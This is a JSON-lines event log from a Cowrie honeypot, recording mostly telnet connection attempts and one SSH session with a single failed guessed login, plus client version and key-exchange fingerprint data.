{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":43694,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e932c3d141d","protocol":"telnet","message":"New connection: 185.111.235.80:43694 (10.17.0.5:23) [session: 0e932c3d141d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:23.645236Z"}
{"eventid":"cowrie.session.closed","duration":31.779409885406494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:23.802787Z","src_ip":"185.111.235.80","session":"8a2aa266d54c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":49298,"dst_ip":"10.17.0.5","dst_port":23,"session":"eabcc2343c64","protocol":"telnet","message":"New connection: 185.111.235.80:49298 (10.17.0.5:23) [session: eabcc2343c64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:23.833220Z"}
{"eventid":"cowrie.session.closed","duration":30.75042986869812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:23.964580Z","src_ip":"185.111.235.80","session":"0efa95c90ee8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.248.177.191","src_port":53712,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f050e543f33","protocol":"telnet","message":"New connection: 38.248.177.191:53712 (159.203.135.109:23) [session: 5f050e543f33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:23.993056Z"}
{"eventid":"cowrie.session.closed","duration":30.844287872314453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:24.008380Z","src_ip":"185.111.235.80","session":"27ee1d6f4a62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":49764,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a95f030fbe9","protocol":"telnet","message":"New connection: 185.111.235.80:49764 (10.17.0.5:23) [session: 5a95f030fbe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:24.042312Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":45454,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc599270af0c","protocol":"telnet","message":"New connection: 185.111.235.80:45454 (10.17.0.5:23) [session: fc599270af0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:24.073020Z"}
{"eventid":"cowrie.session.closed","duration":30.752743244171143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:24.076584Z","src_ip":"185.111.235.80","session":"0f3e4b4e1910","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":46212,"dst_ip":"10.17.0.5","dst_port":23,"session":"62785a861056","protocol":"telnet","message":"New connection: 185.111.235.80:46212 (10.17.0.5:23) [session: 62785a861056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:24.208870Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":46372,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3734ac81c22","protocol":"telnet","message":"New connection: 185.111.235.80:46372 (10.17.0.5:23) [session: c3734ac81c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:24.240357Z"}
{"eventid":"cowrie.session.closed","duration":31.215638875961304,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:24.393775Z","src_ip":"185.111.235.80","session":"614b11f76409","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54982,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bf96ad39514","protocol":"telnet","message":"New connection: 185.111.235.80:54982 (10.17.0.5:23) [session: 1bf96ad39514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:24.994802Z"}
{"eventid":"cowrie.session.closed","duration":30.781850814819336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:25.021558Z","src_ip":"185.111.235.80","session":"67d47db7eac5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.850800275802612,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:25.044117Z","src_ip":"185.111.235.80","session":"495cac6df742","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.236300706863403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:25.067431Z","src_ip":"185.111.235.80","session":"df1efb07bab4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.792404651641846,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:25.232487Z","src_ip":"185.111.235.80","session":"9dfd32342283","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.882771492004395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:25.360212Z","src_ip":"117.120.7.112","session":"7a9f457c0384","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":57034,"dst_ip":"10.17.0.5","dst_port":23,"session":"c242bf252118","protocol":"telnet","message":"New connection: 185.111.235.80:57034 (10.17.0.5:23) [session: c242bf252118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:25.396298Z"}
{"eventid":"cowrie.session.closed","duration":31.010480165481567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:25.410499Z","src_ip":"185.111.235.80","session":"41cb136e1e4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":58058,"dst_ip":"10.17.0.5","dst_port":23,"session":"51eb06545a80","protocol":"telnet","message":"New connection: 185.111.235.80:58058 (10.17.0.5:23) [session: 51eb06545a80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:25.607987Z"}
{"eventid":"cowrie.session.closed","duration":30.994720458984375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:25.972465Z","src_ip":"185.111.235.80","session":"f9467d918127","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":59804,"dst_ip":"10.17.0.5","dst_port":23,"session":"502f31727f20","protocol":"telnet","message":"New connection: 185.111.235.80:59804 (10.17.0.5:23) [session: 502f31727f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:26.030884Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":45392,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcc8e7f3fc8b","protocol":"telnet","message":"New connection: 185.111.235.80:45392 (10.17.0.5:23) [session: fcc8e7f3fc8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:26.057217Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":60308,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c21d1a1ae12","protocol":"telnet","message":"New connection: 185.111.235.80:60308 (10.17.0.5:23) [session: 9c21d1a1ae12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:26.104213Z"}
{"eventid":"cowrie.session.closed","duration":30.401572465896606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:26.129788Z","src_ip":"117.120.7.112","session":"45f611faaac6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.216963529586792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:26.154444Z","src_ip":"185.111.235.80","session":"48a37794df05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.252660274505615,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:26.293321Z","src_ip":"108.61.242.114","session":"c3d3dbb5b2ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":35878,"dst_ip":"159.203.135.109","dst_port":23,"session":"00f1fbd717de","protocol":"telnet","message":"New connection: 117.120.7.112:35878 (159.203.135.109:23) [session: 00f1fbd717de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:26.299953Z"}
{"eventid":"cowrie.session.closed","duration":31.188390970230103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:26.335942Z","src_ip":"185.111.235.80","session":"a6eed50e101a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":33518,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2be759a1ea0","protocol":"telnet","message":"New connection: 185.111.235.80:33518 (10.17.0.5:23) [session: b2be759a1ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:26.372570Z"}
{"eventid":"cowrie.session.closed","duration":51.43480348587036,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:26.774135Z","src_ip":"185.111.235.80","session":"9dea079434f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":35216,"dst_ip":"10.17.0.5","dst_port":23,"session":"f98db3d92286","protocol":"telnet","message":"New connection: 185.111.235.80:35216 (10.17.0.5:23) [session: f98db3d92286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:26.788637Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":35508,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf9522dc1f69","protocol":"telnet","message":"New connection: 185.111.235.80:35508 (10.17.0.5:23) [session: cf9522dc1f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:26.843636Z"}
{"eventid":"cowrie.session.closed","duration":30.744176864624023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:26.919098Z","src_ip":"185.111.235.80","session":"e4bb5b4c21d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":37420,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1086d43a6ee","protocol":"telnet","message":"New connection: 117.120.7.112:37420 (159.203.135.109:23) [session: d1086d43a6ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:26.925413Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":36210,"dst_ip":"10.17.0.5","dst_port":23,"session":"99db594bb116","protocol":"telnet","message":"New connection: 185.111.235.80:36210 (10.17.0.5:23) [session: 99db594bb116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:27.031918Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":36600,"dst_ip":"10.17.0.5","dst_port":23,"session":"077f2b55dbad","protocol":"telnet","message":"New connection: 185.111.235.80:36600 (10.17.0.5:23) [session: 077f2b55dbad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:27.077541Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":37862,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc8a49c9ca1e","protocol":"telnet","message":"New connection: 117.120.7.112:37862 (159.203.135.109:23) [session: bc8a49c9ca1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:27.192226Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":38494,"dst_ip":"10.17.0.5","dst_port":23,"session":"e77b5dce2fd0","protocol":"telnet","message":"New connection: 185.111.235.80:38494 (10.17.0.5:23) [session: e77b5dce2fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:27.425269Z"}
{"eventid":"cowrie.session.closed","duration":33.40651845932007,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:27.494255Z","src_ip":"185.111.235.80","session":"59b95e9ac8a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.125628232955933,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:27.736979Z","src_ip":"185.111.235.80","session":"e8dbaea7dd94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40776,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ea0d9a984d0","protocol":"telnet","message":"New connection: 185.111.235.80:40776 (10.17.0.5:23) [session: 9ea0d9a984d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:28.002962Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":59886,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4e03ba076b9","protocol":"telnet","message":"New connection: 185.111.235.80:59886 (10.17.0.5:23) [session: c4e03ba076b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:28.046565Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":57618,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a7fe45d2be9","protocol":"ssh","message":"New connection: 176.65.139.103:57618 (10.17.0.5:22) [session: 9a7fe45d2be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:28.361505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:28.401059Z","src_ip":"176.65.139.103","session":"9a7fe45d2be9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:28.450945Z","src_ip":"176.65.139.103","session":"9a7fe45d2be9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":44168,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cfb297eca18","protocol":"telnet","message":"New connection: 185.111.235.80:44168 (10.17.0.5:23) [session: 7cfb297eca18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:28.630981Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":44644,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad8fedd12c28","protocol":"telnet","message":"New connection: 185.111.235.80:44644 (10.17.0.5:23) [session: ad8fedd12c28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:28.734745Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":41426,"dst_ip":"159.203.135.109","dst_port":23,"session":"32623fe2e0a0","protocol":"telnet","message":"New connection: 117.120.7.112:41426 (159.203.135.109:23) [session: 32623fe2e0a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:28.837635Z"}
{"eventid":"cowrie.login.failed","username":"kamran","password":"kamran","message":"login attempt [kamran/kamran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:28.894101Z","src_ip":"176.65.139.103","session":"9a7fe45d2be9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.942793607711792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:28.977355Z","src_ip":"185.111.235.80","session":"fbb1ffec12d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.30939817428589,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:29.022218Z","src_ip":"185.111.235.80","session":"a1f1923e992b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":35834,"dst_ip":"10.17.0.5","dst_port":23,"session":"046d00fa8213","protocol":"telnet","message":"New connection: 185.111.235.80:35834 (10.17.0.5:23) [session: 046d00fa8213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:29.948688Z"}
{"eventid":"cowrie.session.closed","duration":30.755577325820923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:29.980248Z","src_ip":"185.111.235.80","session":"d08027d0a36c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.672547817230225,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:29.985703Z","src_ip":"185.111.235.80","session":"a0f47e531392","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:30.064538Z","src_ip":"176.65.139.103","session":"9a7fe45d2be9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":50928,"dst_ip":"10.17.0.5","dst_port":23,"session":"46d87988d309","protocol":"telnet","message":"New connection: 185.111.235.80:50928 (10.17.0.5:23) [session: 46d87988d309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:30.079377Z"}
{"eventid":"cowrie.session.closed","duration":30.51924443244934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:30.228528Z","src_ip":"185.111.235.80","session":"68330c3331f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53642,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a8481006045","protocol":"telnet","message":"New connection: 185.111.235.80:53642 (10.17.0.5:23) [session: 7a8481006045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:30.604101Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53954,"dst_ip":"10.17.0.5","dst_port":23,"session":"280ac4aa9c53","protocol":"telnet","message":"New connection: 185.111.235.80:53954 (10.17.0.5:23) [session: 280ac4aa9c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:30.674022Z"}
{"eventid":"cowrie.session.closed","duration":31.114927053451538,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:30.955012Z","src_ip":"185.111.235.80","session":"90fd7cea5017","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40858,"dst_ip":"10.17.0.5","dst_port":23,"session":"449e4d2f6f7f","protocol":"telnet","message":"New connection: 185.111.235.80:40858 (10.17.0.5:23) [session: 449e4d2f6f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:31.052302Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":44780,"dst_ip":"159.203.135.109","dst_port":23,"session":"dee5f5100245","protocol":"telnet","message":"New connection: 117.120.7.112:44780 (159.203.135.109:23) [session: dee5f5100245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:31.277632Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":44796,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a4bdfc60f0f","protocol":"telnet","message":"New connection: 117.120.7.112:44796 (159.203.135.109:23) [session: 3a4bdfc60f0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:31.283206Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":47078,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8d0283c75be","protocol":"telnet","message":"New connection: 117.120.7.112:47078 (159.203.135.109:23) [session: e8d0283c75be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:31.424511Z"}
{"eventid":"cowrie.session.closed","duration":30.817944765090942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:31.523078Z","src_ip":"185.111.235.80","session":"e2b2c17e9bb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.432143926620483,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:31.804645Z","src_ip":"185.111.235.80","session":"78ca9122575f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":60164,"dst_ip":"10.17.0.5","dst_port":23,"session":"10544694fc5d","protocol":"telnet","message":"New connection: 185.111.235.80:60164 (10.17.0.5:23) [session: 10544694fc5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:31.894309Z"}
{"eventid":"cowrie.session.closed","duration":30.46813678741455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:31.973261Z","src_ip":"185.111.235.80","session":"f76932a0e35a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.784968614578247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:31.983127Z","src_ip":"185.111.235.80","session":"8f0ed8ce4b31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.990159273147583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:31.997258Z","src_ip":"185.111.235.80","session":"2e0d6cb58e39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":60760,"dst_ip":"10.17.0.5","dst_port":23,"session":"2135bcbb63df","protocol":"telnet","message":"New connection: 185.111.235.80:60760 (10.17.0.5:23) [session: 2135bcbb63df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:32.039146Z"}
{"eventid":"cowrie.session.closed","duration":30.96900248527527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:32.089161Z","src_ip":"185.111.235.80","session":"6b6bd088aa9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23855757713318,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:32.108599Z","src_ip":"117.120.7.112","session":"466225119908","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":56046,"dst_ip":"10.17.0.5","dst_port":23,"session":"5102690a4c8e","protocol":"telnet","message":"New connection: 185.111.235.80:56046 (10.17.0.5:23) [session: 5102690a4c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:32.116492Z"}
